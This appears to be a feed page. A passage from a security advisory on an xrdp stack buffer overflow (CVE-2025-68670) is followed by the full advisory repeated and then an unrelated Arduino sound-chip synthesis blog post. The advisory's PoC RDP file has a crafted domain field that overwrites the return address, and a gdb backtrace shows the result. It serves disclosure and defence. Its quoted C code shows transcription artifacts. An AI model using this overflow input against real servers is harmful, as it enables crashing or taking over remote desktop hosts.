/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

securelist.com/cve-2025-68670/…
#endif #ifdef #define
Cybersecurity & cyberwarfare @[email protected] · 2026-05-08 · 08:00 UTC
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

securelist.com/cve-2025-68670/…
#define #ifdef #endif
Simple DIY Electronic Music Projects @[email protected] · 2025-07-13 · 13:22 UTC
Arduino and AY-3-8910 – Part 3

I suggested in Part 2 that it might be possible to do some simple modulation of the amplitude of the AY-3-8910 channels rather than drive frequencies directly. This is taking a look at the possibilities of some kind of lo-fi direct digital synthesis using that as a basis.
- Part 1 – Getting started and looking at playing YM files.
- Part 2 – Adding basic MIDI control.
- Part 3 – Basic experiments with direct digital synthesis.
- Part 4 – Using the AY-3-8910 as a 4-bit DAC for Mozzi.
- Part 5 – Driving four AY-3-8910s using my AY-3-8910 Experimenter PCB.
https://makertube.net/w/uCSiBG5RBufGqspoHMYFPt
Warning! I strongly recommend using old or second hand equipment for your experiments. I am not responsible for any damage to expensive instruments!
These are the key tutorials for the main concepts used in this project:
- Arduino AY3891x Library: https://github.com/Andy4495/AY3891x
- Arduino Nano AY-3-8910 PCB: https://github.com/GadgetReboot/AY-3-8910
- AY-3-8910 on synth DIY wiki: https://sdiy.info/wiki/General_Instrument_AY-3-8910
If you are new to Arduino, see the Getting Started pages.
Parts list
- Arduino Uno.
- AY-3-8910 chip.
- Either GadgetReboot’s PCB or patch using solderless breadboard or prototyping boards.
- 5V compatible MIDI interface.
- Jumper wires.
Direct Digital Synthesis on the AY-3-8910
I’ve talked about direct digital synthesis before, so won’t go into full detail again. For more, see Arduino R2R Digital Audio – Part 3 and Arduino PWM Sound Output.
But the top-level idea is to set the level of the signal according to a value in a wavetable. If this value is updated at a useful audio rate then it will be interpreted as sound.
There are some pretty major limitations with attempting to do this on the AY-3-8910 however. The biggest one being that there are only 15 levels for the output on each channel.
So I’ll be working to the following properties:
- 4-bit resolution for the output.
- 8-bit wavetable.
- 8.8 fixed point accumulator to index into the wavetable.
- 8096 Hz sample rate.
YouTuber https://www.youtube.com/@inazumadenki5588 had a look at this and showed that the AY-3-8910 needs to be set up as follows:
- Frequency value for the channel should be set to the highest frequency possible.
- All channels should be disabled.
This is due to comments in the datasheet stating that the only way to fully disable a channel is to have 0 in the amplitude field.
Note: for a 8192 sample rate, that means writing out a sample to the AY-3-8910 registers approximately once every 124uS. With a 256 value wavetable, it takes almost 32 mS to write a complete cycle at the native sample rate, which would be around a 30 Hz output.
I’m not sure what the largest increment that would still give a useful signal might be, but say it was 8 values from the wavetable, then that would make the highest frequency supported around 1kHz. Not great, but certainly audible, so worth a try.
Setting up for DDS
I want a regular, reliable, periodic routine to output the levels from the wavetable, and the usual way to achieve this is using a timer and interrupt. As Timer 1 is already in use to generate the 1MHz clock for the AY-3-8910, I’m going to be configuring Timer 2 as follows:
- Timer 2 is an 8-bit timer.
- Use prescalar of 32 which gives a 500kHz clock source (16MHz/32).
- Use CTC (clear timer on compare) mode.
- Generate a compare match interrupt.
- Do not enable any output pins.
The appropriate ATMega328 registers to enable this are:
```
  // COM2A[1:0] = 00  No output
  //  WGM2[2:0] = 010 CTC mode
  //   CS2[2:0] = 011 Prescalar=32
  ASSR = 0;
  TCCR2A = _BV(WGM21);
  TCCR2B = _BV(CS21) | _BV(CS20);
  TCNT2 = 0;
  OCR2A = 60;
  TIMSK2 = _BV(OCIE2A);
```
Although it is worth noting that enabling OC1A can be quite useful for debugging. The following toggles the OC2A output (on D11) every time there is a compare match. The frequency seen on D11 will thus be half the anticipated sample frequency.
```
pinMode(11, OUTPUT);
TCCR2A |= _BV(COM2A0); // COM2A[1:0] = 01 for OC2A toggle
```
And this does indeed generate a signal. Here is a trace showing a timing GPIO pin and the AY-3-8910 output.
The problem is that this is meant to be a 440Hz sine wave, and whilst the shape isn’t too bad (it is a little distorted as the amplitude isn’t a true linear shape), the frequency is much nearer 100Hz than 440.
Analysis of Performance
The clue is the other trace, which is a timing pin being toggled every time the Interrupt routine is called. This is showing a 1kHz frequency, which means the IRS is being called with a 2kHz frequency rather than the anticipated 8192Hz. Curiously though I am getting an accurate 4kHz toggle on the timer output pin OC1A indicating the timer is correctly counting with a 8kHz frequency.
No matter how I configured things, the interrupt routine just would not do anything at a faster rate. I had to drop the frequency right down to 2kHz to get the output pin and interrupt routing running together. This means that something in the interrupt routine seems to be taking ~ 450uS to run.
After a fair bit of prodding and probing and checking the ATMega328 datasheet and double checking the register values, I have to conclude that the AY3891x library is just too slow at updating the registers for it to be able to run from the interrupt routine at this speed.
Taking a look at the register write() function in the library, which I need to use to update the channel level, I can see the following is happening:
```
void AY3891x::write(byte regAddr, byte data) {
  latchAddressMode(regAddr);
  daPinsOutput(data);
  noInterrupts();
  mode010to110();
  mode110to010();
  interrupts();
  daPinsInput();
}

void AY3891x::latchAddressMode(byte regAddr) {
  mode010to000();
  daPinsOutput(_chipAddress | regAddr); // Register address is 4 lsb
  mode000to001();
  mode001to000();
  mode000to010();
}

void AY3891x::daPinsOutput(byte data) {
  byte i;

  for (i = 0; i < NUM_DA_LINES; i++) {
    if (_DA_pin[i] != NO_PIN) pinMode(_DA_pin[i], OUTPUT);
  }

  for (i = 0; i < NUM_DA_LINES; i++) {
    if (_DA_pin[i] != NO_PIN) {
      digitalWrite(_DA_pin[i], data & 0x01);
      data = data >> 1;
    }
  }
}

void AY3891x::daPinsInput() {
  byte i;

  for (i = 0; i < NUM_DA_LINES; i++) {
    if (_DA_pin[i] != NO_PIN) pinMode(_DA_pin[i], INPUT);
  }
}
```
And every one of those modeXXXtoYYY() functions is a call to digitalWrite(), so I make that 22 calls to ditigalWrite() in order to write a single register value, plus around 16 calls to pinMode(). There are also 5 loops each looping over 8 values.
One person measured the Arduino Uno digitalWrite() function and concluded that it takes 3.4uS to run, so that is a minimum of 75uS of processing in every run through the interrupt routine just for those calls alone. That doesn’t include the calls and other logic going on. It could easily be more than twice that when everything is taken into account.
Dropping in some temporary pin IO either side of the call to the AY write function itself, and I’m measuring just over 250uS for the register update to happen, and that is just for one channel. This means that anything with a period of that or faster is starving the processor from running at all.
Measuring the Basic Performance
At this point I took a step back and created a free-running test sketch to really see what is going on.
```
#include "AY3891x.h"

AY3891x psg( 17, 8, 7, 6, 5, 4, 3, 2, 16, 15, 14);

#define AY_CLOCK 9 // D9
void aySetup () {
  pinMode(AY_CLOCK, OUTPUT);
  digitalWrite(AY_CLOCK, LOW);

  TCCR1A = (1 << COM1A0);
  TCCR1B = (1 << WGM12) | (1 << CS10);
  TCCR1C = 0;
  TIMSK1 = 0;
  OCR1AH = 0;
  OCR1AL = 7; // 16MHz / 8 = 2MHz Counter

  psg.begin();

  // Output highest frequency on each channel, but set level to 0
  // Highest freq = 1000000 / (16 * 1) = 62500
  psg.write(AY3891x::ChA_Amplitude, 0);
  psg.write(AY3891x::ChA_Tone_Period_Coarse_Reg, 0);
  psg.write(AY3891x::ChA_Tone_Period_Fine_Reg,   0);
  psg.write(AY3891x::ChB_Amplitude, 0);
  psg.write(AY3891x::ChB_Tone_Period_Coarse_Reg, 0);
  psg.write(AY3891x::ChB_Tone_Period_Fine_Reg,   0);
  psg.write(AY3891x::ChC_Amplitude, 0);
  psg.write(AY3891x::ChC_Tone_Period_Coarse_Reg, 0);
  psg.write(AY3891x::ChC_Tone_Period_Fine_Reg,   0);

  // LOW = channel is in the mix.
  // Turn everything off..
  psg.write(AY3891x::Enable_Reg, 0xFF);
}

int toggle;
void setup() {
  pinMode(11, OUTPUT);
  toggle = LOW;
  digitalWrite(11, toggle);
  aySetup();
}

void loop() {
  toggle = !toggle;
  digitalWrite(11, toggle);
  for (int i=0; i<16; i++) {
    psg.write(AY3891x::ChA_Amplitude, i);
  }
}
```
All this is doing is continually writing 0 to 15 to the channel A level register whilst toggling a GPIO pin. Putting an oscilloscope trace on the IO pin and the AY-3-8910 channel A output gives me the following:
This is running with a period of 6.96mS, meaning each cycle of 16 writes takes 3.5mS, giving me almost 220uS per call to the AY write function which seems to align pretty well with what I was seeing before.
And this is generating an audible tone at around 280Hz, so regardless of any timer settings or waveform processing, this is going to be the baseline frequency on which everything else would have to rest, which isn’t great.
Optimising Register Writes
So at this point I have the choice of attempting to write to the AY-3-8910 myself using PORT IO to eliminate the time it takes for all those loops and digitalWrite() calls. Or I could try some alternative libraries.
The library I’m using aims for the most portable compatibility: “This library uses the generic digitalWrite() function instead of direct port manipulation, and should therefore work across most, if not all, processors supported by Arduino, so long as enough I/O pins are available for the interface to the PSG.”
It is a deliberate design choice, but does require all three bus control signals to be used: BDIR, BC1, BC2.
Alternatives are possible with less pin state changes, but much stricter timing requirements. Some options include:
- https://github.com/53175ddd/AY-3-8910_Arduino – uses a mixture of PORT IO and digitalWrite(). Assumes use of D0-D7 for data channel.
The following are projects that have not used a library, but just done their own thing:
- https://github.com/internalregister/AY-3-8910 – uses a mixture of digitalWrite and PORT IO. Assumes use of D0-D7 for the data channel.
- https://github.com/GaryA/TB-AY-3_MIDI – uses direct PORT IO for D2-D9
Unfortunately none of these really solves the problem as the PCB I’m using does not neatly map onto IO ports to allow the use of direct PORT IO for the data.
So to improve things whilst using this same PCB will require me to re-write the library myself.
As a test however, it is possible to take the IO pin definitions used with the PCB and write a bespoke, optimised register write routine as follows:
```
void ayFastWrite (byte reg, byte val) {
  // Mode=Addr Latch
  digitalWrite(BC1, HIGH);
  digitalWrite(BDIR, HIGH);

  // Latch address
  // NB: Addresses are all in range 0..15 so don't need to
  //     worry about writing out bits 6,7 - just ensure set to zero
  PORTD = (PORTD & 0x03) | ((reg & 0xCF)<<2);
  PORTB = (PORTB & 0xFE);
  PORTC = (PORTC & 0xF7);

  // Mode = Inactive
  digitalWrite(BC1, LOW);
  digitalWrite(BDIR, LOW);

  delayMicroseconds(10);

  // Mode = Write
  digitalWrite(BC1, LOW);
  digitalWrite(BDIR, HIGH);

  // Write data
  PORTD = (PORTD & 0x03) | ((val & 0xCF)<<2); // Shift bits 0:5 to 2:7
  PORTB = (PORTB & 0xFE) | ((val & 0x40)>>6); // Shift bit 6 to 0
  PORTC = (PORTC & 0xF7) | ((val & 0x80)>>4); // Shift bit 7 to 3

  // Mode = Inactive
  digitalWrite(BC1, LOW);
  digitalWrite(BDIR, LOW);
}
```
I’m using the following mapping of data pins to Arduino digital IO pins to PORTS:
DA0-DA5D2-D7PORTD Bits 0-5DA6D8PORT B Bit 0DA7A3/D17PORT C Bit 3
To make this happen I have to ensure that the right bits are set to OUTPUTs and that BC2 is held HIGH prior to using the fastWrite function.
```
  digitalWrite(BC2, HIGH);
  DDRD |= 0xFC;
  DDRC |= 0x04;
  DDRB |= 0x01;
```
This now improves on that previous 280Hz and gives me 1600Hz performance.
So can I do any better? Well there are still between 6 and 8 calls to digitalWrite going on to handle the control signals…
```
#define BC1LOW  {PORTC &= 0xFE;} // A0 LOW
#define BC1HIGH {PORTC |= 0x01;} // A0 HIGH
#define BC2LOW  {PORTC &= 0xFD;} // A1 LOW
#define BC2HIGH {PORTC |= 0x02;} // A1 HIGH
#define BDIRLOW  {PORTC &= 0xFB;} // A2 LOW
#define BDIRHIGH {PORTC |= 0x04;} // A2 HIGH

void ayFastWrite (byte reg, byte val) {
  // Mode=Addr Latch
  BC1HIGH;
  BDIRHIGH;

  // Latch address
  PORTD = (PORTD & 0x03) | ((reg & 0xCF)<<2);
  PORTB = (PORTB & 0xFE);
  PORTC = (PORTC & 0xF7);

  // Need 400nS Min
  delayMicroseconds(1);

  // Mode = Inactive
  BC1LOW;
  BDIRLOW;

  // Need 100nS settle then 50nS preamble
  delayMicroseconds(1);

  // Mode = Write
  BC1LOW;
  BDIRHIGH;

  // Write data
  PORTD = (PORTD & 0x03) | ((val & 0xCF)<<2); // Shift bits 0:5 to 2:7
  PORTB = (PORTB & 0xFE) | ((val & 0x40)>>6); // Shift bit 6 to 0
  PORTC = (PORTC & 0xF7) | ((val & 0x80)>>4); // Shift bit 7 to 3

  // Need 500nS min
  delayMicroseconds(1);

  // Mode = Inactive
  BC1LOW;
  BDIRLOW;

  // Need 100nS min
}
```
The timings come from the AY-3-8910 datasheet:
The actual minimum and maximum timings for the various “t” values are given in the preceeding table. Most have a minimum value, but tBD has to be noted: the “associative delay time” is 50nS. This means that any changing of BC1, BC2 and BDIR has to occur within 50nS to be considered part of the same action.
There is no means of having a nano-second delay (well, other than just spinning code), so I’ve just used a delayMicroseconds(1) here and there. This isn’t reliably accurate on an Arduino, but as I’m have delays of around half of that as a maximum it seems to be fine.
This now gives me the following:
This is now supporting a natural “as fast as possible” frequency of around 24kHz, meaning each call to the write function is now around 3uS. That is almost a 100x improvement over using all those pinMode and digitalWrite calls.
The downside of this method:
- It is ATMega328 specific.
- It is specific to the pin mappings and PORT usage of this PCB.
- It does not support reading or other chip operations between the writes.
It is also interesting to see that the traces also show the high frequency oscillation (62.5kHz) that is being modulated regardless of the channel frequency and enable settings.
DDS Part 2
Success! At least with a single channel. This is now playing a pretty well in tune 440Hz A.
Notice how the frequency of the timing pin is now ~4.2kHz meaning that the ISR is now indeed firing at the required 8192 Hz.
